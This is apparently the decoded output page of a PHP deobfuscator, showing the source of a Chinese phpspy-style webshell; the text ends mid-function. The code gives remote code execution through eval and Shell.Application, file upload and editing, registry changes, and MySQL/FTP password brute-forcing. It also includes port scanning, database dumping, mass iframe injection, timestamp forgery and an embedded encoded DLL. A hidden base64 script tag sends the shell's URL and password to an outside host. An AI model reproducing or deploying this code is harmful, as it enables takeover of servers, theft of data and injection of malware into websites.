Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php # http://down.liehuo.net # $admin['pass'] = "admin"; // $notice = "<FONT color..

Decoded Output download

error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//
/*=====================  =====================*/
// ,1,.
$admin['check'] = "1";
// ,
//
$hidden = "saiy";
$admin['port'] = "80,139,21,3389,3306,43958,1433,";
//
$admin['jumpsecond'] = "1";
//Ftp
$alexa = "yes";
//alexayesno
$admin['ftpport'] = "21";
// phpspy(yes/no)
$retime = "no";
// cmd.exe,proc_open,linux.(winnt)
$cmd = "cmd.exe";
// phpspy~~~~

/*=====================  =====================*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9');
$copyurll = base64_decode('Jz48L3NjcmlwdD4=');
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*=====================  =====================*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "<span style=\"font-size: 12px; font-family: Verdana\">......<p><a href=\"".$self."\"> &gt;&gt;&gt;</a></span>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."</form>";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*=====================  =====================*/
//  magic_quotes_gpc 
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll
$mixdll = "7Zt/TBNnGMfflrqBFnaesBmyZMcCxs2k46pumo2IQjc3wSEgUKYthV6hDAocV6dDF5aum82FRBaIHoRlRl0y3Bb/cIkumnVixOIE/cMMF+ePxW1Ixah1yLBwe+5aHMa5JcsWs+T5JE+f9/m+z/u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYVVzkamnq+r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1/Fzb2+DnZGWosZSV1lav+mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHaRJKTM0jxCCAVBekQbmE0iMaOGlDqmIuehiZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0lygy83SbYCPlcExGmncH0FjMNkTRyVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU2PFTJ1nCRGM4kqdNyAsKCr+eitLKE9AXui/+cXt0wt+26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD6zWHSOa3sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm+9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItSZM0QS1RdknymsENsV6YcvqSxdEKJpvCuCfAtMyj4lC+KpltWyxviT+t7vpXT5kM3clqq+snAp3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3YqUZUOdquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3+yCZxxUUF8ikY6GEwlCTLMrSgNLxaiQugOVjjM+ndetBfKM4rGLoBR+gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnJxGKR1vTo3VuOd4MpREuNGykKqTkwjMRC4BQRAEQRAEQRAE+S+YZCL+EPhTYINgl8GuRfVGQprjwGaBKfHHzB9r98EYno/J1mnaURgrXwY0T9OSU8h975b/6f7FBUbrQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw+7cQMh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ+k3BhpTIbwRiolYCsR2sHqyMIiQPTHkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4aNU0L5op/TgenDEUlGW5vkySpJ6JJZ+Co8+201e8i+izrfRyengPPfLBpY5q+peDHeX0dy3dwkD/cfoTGL8Z2u6vXjbS6j+WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nJxs6OElrqKKUraFeydTv9aqjD3zACGyVb204MOPq5Hnq5Io0pkvsHujbk81NdTzSVB4DQjlCno7+WXk717qR691C9Z2XLhS937Eg87wsMdJvVjEAgsX+PpXP81oR0IuDob7B81ClJn1nOd/0sSTtCvv4+R78NjIM5d7d58ZPmq2XHTwz0OVb1+I1Nb3WbSxs6HQ7H+fBIIDg6PjgxEQwPD0vfB8NjI2FFgWhQOnfp+sjJG6BNSGdGxybOXL8THAteHJSuDe891r1X6u8b7BsdvxkeGZTGR2/fDo+PSOO/jg6Hh1VRIqSkpGT+MwzPNbidPNfI2JhGgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX+D/3x9PfTQ+l30jVsIpvMMqyBfZ59iX2FLWTXsdVsHSuwm9j32Fa2k93HHmKPsJfZUTbf6DI2GbcaH/YlIAiCIAiCIAiCIAjy1/wO";
// PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() ,&lt;PHP&gt;";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "";
echo"$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]<?");exit;
}
if($action=="mysqldown"){
	$link=@mysql_connect($host,$user,$password);
	if (!$link) {
		$downtmp = ': ' . mysql_error();
	}else{
	$query="select load_file('".$filename."');";
	$result = @mysql_query($query, $link);
	if(!$result){
		$downtmp = "file<br>".mysql_error();
			}else{
	while ($row = mysql_fetch_array($result)) {
		$filename = basename($filename);
		if($rardown=="yes"){
			$zip = NEW Zip;
			$zipfiles[]=Array("$filename",$row[0]);
			$zip->Add($zipfiles,1);
			$code = $zip->get_file();
			$filename = "".$filename.".rar";
		}else{
			$code = $row[0];
		}
		header("Content-type: application/octet-stream");
		header("Accept-Ranges: bytes");
		header("Accept-Length: ".strlen($code));
		header("Content-Disposition: attachment;filename=$filename");
		echo($code);
		exit;
	}
	}
	}
}
// 
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b> URL </b></p></center></body>";exit;
}
// 
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "<script>alert('!')</script>";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 
if ($_POST['backuptype'] == 'download') {
	@mysql_connect($servername,$dbusername,$dbpassword) or die("");
	@mysql_select_db($dbname) or die("");	
	$table = array_flip($_POST['table']);
	$result = mysql_query("SHOW tables");
	echo ($result) ? NULL : ": ".mysql_error();

	$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
	header('Content-type: application/unknown');
	header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata.= sqldumptable($currow[0]);
			$mysqldata.= $mysqldata."\r\n";
		}
	}
	mysql_close();
	exit;
}

// 
$pathname=str_replace('\\','/',dirname(__FILE__)); 

// 
if (!isset($dir) or empty($dir)) {
	$dir = ".";
	$nowpath = getPath($pathname, $dir);
} else {
	$dir=$_GET['dir'];
	$nowpath = getPath($pathname, $dir);
}

// 
$dir_writeable = (dir_writeable($nowpath)) ? "" : "";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"></a>" : "";

$tb = new FORMS;

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
 <style type="text/css">
body{
	BACKGROUND-COLOR: #F5F5F5; 
	COLOR: #3F3849; 
	font-family: "Verdana", "Tahoma", "";
	font-size: "12px";
	line-height: "140%";
}

TD		{FONT-FAMILY: "Verdana", "Tahoma", ""; FONT-SIZE: 12px; line-height: 140%;}
.smlfont {
	font-family: "Verdana", "Tahoma", "";
	font-size: "11px";
}
.INPUT {
	FONT-SIZE: "12px";
	COLOR: "#000000";
	BACKGROUND-COLOR: "#FFFFFF";
	height: "18px";
	border: "1px solid #666666";
	padding-left: "2px";
}
.redfont {
	COLOR: "#CA0000";
}
A:LINK		{COLOR: #3F3849; TEXT-DECORATION: none}
A:VISITED	{COLOR: #3F3849; TEXT-DECORATION: none}
A:HOVER		{COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
A:ACTIVE	{COLOR: #FFFFFF; BACKGROUND-COLOR: #cccccc}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
	for (var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function really(d,f,m,t) {
	if (confirm(m)) {
		if (t == 1) {
			window.location.href='?dir='+d+'&deldir='+f;
		} else {
			window.location.href='?dir='+d+'&delfile='+f;
		}
	}
}
</SCRIPT>
</head>
<body style="table-layout:fixed; word-break:break-all">
<center>
<?php
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">'.date("Ymd h:i:s",time()).'</td><td align="right"><b>'.$_SERVER['REMOTE_ADDR'].'</b></td></tr></table>','center','top');
$tb->tdbody(' | <a href="?action=dir"></a> <a href="?action=dir">Shell </a> | <a href="?action=phpenv"></a> | <a href="?action=proxy"></a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=crack"></a> | <a href="?action=mix">mix.dll</a> | <a href="?action=logout"></a> |');
$tb->tdbody('| <a href="?action=plgm"></a> | <a href="?action=downloads">Http </a> | <a href="?action=search&dir='.$dir.'"></a> | <a href="?action=eval">php</a> | <a href="?action=sql">SQL</a> | <a href="?action=mysqlfun">FuncShell</a> | <a href="?action=sqlbak">MySQL </a> | <a href="?action=SUExp">Serv-U </a> |');
$tb->tablefooter();
?>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
<?
$tb->headerform(array('method'=>'GET','content'=>'<p>: '.$pathname.'<br>('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>: '.$tb->makeinput('dir').' '.$tb->makeinput('','','','submit').' '));

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>': '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>': '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','','','submit')));

$tb->headerform(array('content'=>': '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','','','submit')));
?>
</table>
<hr width="775" noshade>
<?php
/*=====================   =====================*/
echo "<p><b>\n";
// 
if (!empty($delfile)) {
	if (file_exists($delfile)) {
		echo (@unlink($delfile)) ? $delfile." !" : "!";
	} else {
		echo basename($delfile)." !";
	}
}

// 
elseif (!empty($deldir)) {
	$deldirs="$dir/$deldir";
	if (!file_exists("$deldirs")) {
		echo "$deldir !";
	} else {
		echo (deltree($deldirs)) ? "!" : "!";
	}
}

// 
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
	if (!empty($newdirectory)) {
		$mkdirs="$dir/$newdirectory";
		if (file_exists("$mkdirs")) {
			echo "!";
		} else {
			echo (@mkdir("$mkdirs",0777)) ? "!" : "!";
			@chmod("$mkdirs",0777);
		}
	}
}

// 
elseif ($doupfile) {
	echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "!" : "!";
}
elseif($action=="mysqlup"){
	$filename = $_FILES['upfile']['tmp_name'];
	if(!$filename) {
		echo"";
	}else{
	$shell = file_get_contents($filename);
	$mysql = bin2hex($shell);
	if(!$upname) $upname = $_FILES['upfile']['name'];
	$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
	$link=@mysql_connect($host,$user,$password);
	if(!$link){
		echo "".mysql_error();
	}else{
		$result = mysql_query($shell, $link);
		if($result){
			echo".".$host.",".$uppath."/".$upname."..";
		}else{
				echo" :".mysql_error();
			}
		}
	}

}
elseif($action=="mysqldown"){
	if(!empty($downtmp)) echo $downtmp;
}
// 
elseif ($_POST['do'] == 'doeditfile') {
	if (!empty($_POST['editfilename'])) {
    if(!file_exists($editfilename)) unset($retime);
	if($time==$now) $time = @filemtime($editfilename);
        $time2 = @date("Y-m-d H:i:s",$time);
		$filename="$editfilename";
		@$fp=fopen("$filename","w");
		if($_POST['change']=="yes"){
		$filecontent = "?".">".$_POST['filecontent']."<?";
		$filecontent = gzdeflate($filecontent);
        $filecontent = base64_encode($filecontent);
        $filecontent = "<?php\n/*\n!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
		}else{
		$filecontent = $_POST['filecontent'];
		}
		echo $msg=@fwrite($fp,$filecontent) ? "!" : "!";
		@fclose($fp);
		if($retime=="yes"){
        echo"&nbsp;:";
        echo $msg=@touch($filename,$time) ? "".$time2."!" : "!";
		}
	} else {
		echo "!";
	}
}
//
elseif ($_POST['do'] == 'downloads') {
	$contents = @file_get_contents($_POST['durl']);
	if(!$contents){
	echo"";
	}
	elseif(file_exists($path)){
	echo"".$path."";
	}else{
    $fp = @fopen($path,"w");
	echo $msg=@fwrite($fp,$contents) ? "!" : "!";
	@fclose($fp);
	}
}
elseif($_POST['action']=="mix"){
	if(!file_exists($_POST['mixto'])){
	$tmp = base64_decode($mixdll);
	$tmp = gzinflate($tmp);
	$fp = fopen($_POST['mixto'],"w");
	echo $msg=@fwrite($fp,$tmp) ? "!" : "!";
	fclose($fp);
}else{
	echo"".$_POST['mixto']."~";
}
}
// 
elseif ($_POST['do'] == 'editfileperm') {
	if (!empty($_POST['fileperm'])) {
		$fileperm=base_convert($_POST['fileperm'],8,10);
		echo (@chmod($dir."/".$file,$fileperm)) ? "!" : "!";
		echo "  ".$file." : ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
	} else {
		echo "!";
	}
}

// 
elseif ($_POST['do'] == 'rename') {
	if (!empty($_POST['newname'])) {
		$newname=$_POST['dir']."/".$_POST['newname'];
		if (@file_exists($newname)) {
			echo "".$_POST['newname']." ,!";
		} else {
			echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])."  ".$_POST['newname']." !" : "!";
		}
	} else {
		echo "!";
	}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"<span class=\"redfont\">:[".$oldkey."],:";
	if($type2 == "getpath"){
	echo".";
}
echo"</span><br><hr width=\"775\" noshade>";
find($path);
}else{
echo"???";
}
}
elseif ($_GET['action']=='plgmok') {
   dirtree($_POST['dir'],$_POST['mm']);
   }
elseif ($_GET['action'] == "plgm") {
	$action = '?action=plgmok';
	$gm = "<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>";
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody('php','center');
	$tb->tdbody(': '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text','60').'<br>:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','').'<br>'.$tb->makeinput('submit','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tablefooter();
}//end plgm
// 
elseif ($_POST['do'] == 'domodtime') {
	if (!@file_exists($_POST['curfile'])) {
		echo "!";
	} else {
		if (!@file_exists($_POST['tarfile'])) {
			echo "!";
		} else {
			$time=@filemtime($_POST['tarfile']);
			echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])."  ".date("Y-m-d H:i:s",$time)." !" : "!";
		}
	}
}

// 
elseif ($_POST['do'] == 'modmytime') {
	if (!@file_exists($_POST['curfile'])) {
		echo "!";
	} else {
		$year=$_POST['year'];
		$month=$_POST['month'];
		$data=$_POST['data'];		
		$hour=$_POST['hour'];
		$minute=$_POST['minute'];
		$second=$_POST['second'];
		if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
			$time=strtotime("$data $month $year $hour:$minute:$second");
			echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])."  ".date("Y-m-d H:i:s",$time)." !" : "!";
		}
	}
}
elseif($do =='port'){
		$tmp = explode(",",$port);
		$count = count($tmp);
	for($i=$first;$i<$count;$i++){
			$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
			if($fp) echo"".$host."".$tmp[$i]."<br>";
	}
}
/*

*/
elseif ($do == 'crack') {//
	if(@file_exists($passfile)){
		$tmp = file($passfile);
		$count = count($tmp);
		if(empty($onetime)){
			$onetime = $count;
			$turn="1";
		}else{
			$nowturn = $turn+1;
			$now = $turn*$onetime;
			$tt = intval(($count/$onetime)+1);
		}
		if($turn>$tt or $onetime>$count){
			echo"~";
			}else{
				$first = $onetime*($turn-1);
				for($i=$first;$i<$now;$i++){
					if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
					else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
				if($sa) 
					{
					$t = "".$user."".$tmp[$i]."";
					}
			}
			if(!$t){
				echo "<meta http-equiv=\"refresh\" content=\"".$admin[jumpsecond].";URL=".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&ctype=".$ctype."\"><span style=\"font-size: 12px; font-family: Verdana\"><a href=\"".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&type=".$ctype."\">".$count."".$first."".$now."".$admin[jumpsecond]."".$onetime.". &gt;&gt;&gt;</a><br>".$type."".$tt."".$turn."</span>";
	}
	else {
		echo"$t";
		}
			}
}else{
			echo"";
			}
}
elseif($do =='port'){
	if(!eregi("-",$port)){
		$tmp = explode(",",$port);
		$count = count($tmp);
		$first = "1";
	}else{
		$tmp = explode("-",$port);
		$first = $tmp[0];
		$count = $tmp[1];

	}
	for($i=$first;$i<$count;$i++){
			if(!eregi("-",$port)){
			$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
			if($fp) echo"".$host."".$tmp[$i]."<br>";
			}else{
				$fp = @fsockopen($host, $i, $errno, $errstr, 1);
				if($fp) echo"".$host."".$i."<br>";
			}
		}

	}
// MYSQL
elseif ($connect) {
	if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
		echo "!";
		mysql_close();
	} else {
		echo mysql_error();
	}
}

// SQL
elseif ($_POST['do'] == 'query') {
	@mysql_connect($servername,$dbusername,$dbpassword) or die("");
	@mysql_select_db($dbname) or die("");
	$result = @mysql_query($_POST['sql_query']);
	echo ($result) ? "SQL!" : ": ".mysql_error();
	mysql_close();
}

// 
elseif ($_POST['do'] == 'backupmysql') {
	if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
		echo "!";
	} else {
		if ($_POST['backuptype'] == 'server') {
			@mysql_connect($servername,$dbusername,$dbpassword) or die("");
			@mysql_select_db($dbname) or die("");	
			$table = array_flip($_POST['table']);
			$filehandle = @fopen($path,"w");
			if ($filehandle) {
				$result = mysql_query("SHOW tables");
				echo ($result) ? NULL : ": ".mysql_error();
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $filehandle);
						fwrite($filehandle,"\n\n\n");
					}
				}
				fclose($filehandle);
				echo " <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
				mysql_close();
			} else {
				echo ",!";
			}
		}
	}
}
elseif($downrar) {
	if (!empty($dl)) {
		if(eregi("unzipto:",$localfile)){
		$path = "".$dir."/".str_replace("unzipto:","",$localfile)."";
		$zip = new Zip;
		$zipfile=$dir."/".$dl[0];
		$array=$zip->get_list($zipfile);
		$count=count($array);
		$f=0;
		$d=0;
		for($i=0;$i<$count;$i++) {
			if($array[$i][folder]==0) {
				if($zip->Extract($zipfile,$path,$i)>0) $f++;
			}
			else $d++;
		}
		if($i==$f+$d) echo "$dl[0] ".$path."<br>($f  $d )";
		elseif($f==0) echo "$dl[0] ".$path."";
		else echo "$dl[0] <br>( $f  $d )";
		}else{
	$zipfile="";
	$zip = new Zip;
	for($k=0;isset($dl[$k]);$k++)
		{
			$zipfile=$dir."/".$dl[$k];
			if(is_dir($zipfile))
			{
				unset($zipfilearray);
				addziparray($dl[$k]);
				for($i=0;$zipfilearray[$i];$i++)
				{
					$filename=$zipfilearray[$i];
					$filesize=@filesize($dir."/".$zipfilearray[$i]);
					$fp=@fopen($dir."/".$filename,rb);
					$zipfiles[]=Array($filename,@fread($fp,$filesize));
					@fclose($fp); 
				}
			}
			else
			{
				$filename=$dl[$k];
				$filesize=@filesize($zipfile);
				$fp=@fopen($zipfile,rb);
				$zipfiles[]=Array($filename,@fread($fp,$filesize));
				@fclose($fp);
			}
		}
		$zip->Add($zipfiles,1);
		$code = $zip->get_file();
		$ck = "_QQ44997_".date("Y-m-d",time())."";
		if(empty($localfile)){
		header("Content-type: application/octet-stream");
		header("Accept-Ranges: bytes");
		header("Accept-Length: ".strlen($code));
		header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
		echo $code;
		exit;
		}else{
		 $fp = @fopen("".$dir."/".$localfile."","w");
		 echo $msg=@fwrite($fp,$code) ? "".$dir."/".$localfile."!" : "".$dir."!";
		 @fclose($fp);
		}
		}
	} else {
		echo "!";
	}
}
// Shell.Application 
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
	$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
	$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
	echo ($a=='0') ? "!" : "!";
}
// PHP
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
	echo " ".$_POST['phpvarname']." : ".getphpcfg($_POST['phpvarname'])."";
}
// 
elseif(($regread) AND !empty($_POST['readregname'])) {
	$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
	var_dump(@$shell->RegRead($_POST['readregname']));
}

// 
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
	$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
	$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
	echo ($a=='0') ? "!" : " ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." !";
}
// 
elseif(($regdelete) AND !empty($_POST['delregname'])) {
	$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
	$a = @$shell->RegDelete($_POST['delregname']);
	echo ($a=='0') ? "!" : " ".$_POST['delregname']." !";
}
else {
	echo "$notice";
}
echo "</b></p>\n";
/*=====================   =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
	$tb->tableheader();
?>
  <tr bgcolor="#cccccc">
    <td align="center" nowrap width="27%"><b></b></td>
	<td align="center" nowrap width="16%"><b></b></td>
    <td align="center" nowrap width="16%"><b></b></td>
    <td align="center" nowrap width="11%"><b></b></td>
    <td align="center" nowrap width="6%"><b></b></td>
    <td align="center" nowrap width="24%"><b></b></td>
  </tr>
  <FORM action="" method="POST">
<?php
// 
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
	$filepath="$dir/$file";
	$a=@is_dir($filepath);
	if($a=="1"){
		if($file!=".." && $file!=".")	{
			$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
			$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
			$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
			echo "<tr class=".getrowbg().">\n";
			echo "  <td style=\"padding-left: 5px;\"><INPUT type=checkbox value=$file name=dl[]> [<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=search&dir=".$filepath."\">Search</a></td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
			echo "  <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."',' $file ? \\n\\n,!','1')\"></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\"></a> |</td>\n";
			echo "</tr>\n";
			$dir_i++;
		} else {
			if($file=="..") {
				echo "<tr class=".getrowbg().">\n";
				echo "  <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"></a></td>\n";
				echo "</tr>\n";
			}
		}
	}
}// while
@closedir($dirs); 
?>
<tr bgcolor="#cccccc">
  <td colspan="6" height="5"></td>
</tr>
<?
// 
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
	$filepath="$dir/$file";
	$a=@is_dir($filepath);
	if($a=="0"){		
		$size=@filesize($filepath);
		$size=$size/1024 ;
		$size= @number_format($size, 3);
		if (@filectime($filepath) == @filemtime($filepath)) {
			$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
			$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
		} else {
			$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
			$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
		}
		@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
		echo "<tr class=".getrowbg().">\n";
		echo "  <td style=\"padding-left: 5px;\">";
		echo "<INPUT type=checkbox value=$file name=dl[]>";
		echo "<a href=\"$filepath\" target=\"_blank\">$file</a></td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
		echo "  <td align=\"right\" nowrap class=\"smlfont\"><span class=\"redfont\">$size</span> KB</td>\n";
		echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n";
		echo "  <td align=\"center\" nowrap><a href=\"?downfile=".urlencode($filepath)."\"></a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\"></a> | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."',' $file ?','2')\"></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."\"></a> | <a href=\"?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."\"></a></td>\n";
		echo "</tr>\n";
		$file_i++;
	}
}// while
@closedir($dirs); 
if(get_cfg_var('safemode'))$z = "<a href=\"#\" title=\"\" onclick=\"alert('Php\\n\\n,')\">(?)</a>";
else $z = "<a href=\"#\" title=\"\" onclick=\"alert('Php\\n\\n')\">(?)</a>";
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('localfile','','','text','15').''.$tb->makeinput('downrar','','','submit').' &nbsp'.$z.'</td><td align="right">'.$dir_i.'  / '.$file_i.' </td></tr></table>','center',getrowbg(),'','','6');

echo "</FORM>\n";
echo "</table>\n";
}// end dir

elseif ($_GET['action'] == "editfile") {
	if(empty($newfile)) {
		$filename="$dir/$editfile";
		$fp=@fopen($filename,"r");
		$contents=@fread($fp, filesize($filename));
		@fclose($fp);
